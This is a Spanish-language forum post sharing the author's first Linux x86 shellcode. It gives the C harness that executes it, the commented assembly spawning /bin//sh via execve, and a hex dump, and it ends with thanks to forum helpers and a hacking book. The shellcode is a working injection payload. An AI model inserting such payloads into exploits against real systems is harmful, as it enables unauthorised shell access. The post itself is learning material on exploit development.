Código
#include <stdio.h> #include <string.h> char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; int main(int argc, char **argv) { (*(void(*)()) code)(); return 0; }
Código
BITS 32 ; excve () xor eax, eax ; Ponemos EAX a cero para bytes nulos push eax ; Metemos los ceros en la pila push 0x68732f2f ; Metemos "//sh". La segunda barra no importa. Además alinea. push 0x6e69622f ; Metemos "/bin". Alineados en la pila mov ebx, esp ; Metemos la direccion en EBX push eax ; Mas bytes nulos ... mov edx, esp ; ... para el entorno de 3º argumento push ebx ; Metemos la direccion de la cadena en la pila mov ecx, esp ; Y se la pasamos como direccion mov al, 11 ; excve = syscall 11 int 0x80 ; Ejecutamos
Código:
00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 |1.Ph//shh/bin..P|
00000010 89 e2 53 89 e1 b0 0b cd 80 |..S......|
00000019
Quiero agradecerle a todos que me hayan ayudado a crearla, con pequeñas ayudas, tanto en el foro de ASM, como en el de C.
Especialmente se lo agradezco a Eternal Idol, que fue el que estuvo echandome una mano en mi primer programa, y en mi primera shellcode, y el que me ayudo en mis comienzos tanto en C como en ASM
Cito tambien el libro "Hacking. Técnicas fundamentales" y a su autor, Jon Erikson, sin los que no habria podido empezar, y recomiendo la lectura del libro [Me han mandado PMs para saber donde comprarlo. Lo siento, lo tengo de la biblioteca, pero lo podeis comprar jaja]
Os doy las gracias a todos los staffs por el gran trabajo que haceis, y a la comunidad en total, por echarme una manita tambien.
Disfrutad de la shellcode y muchas gracias !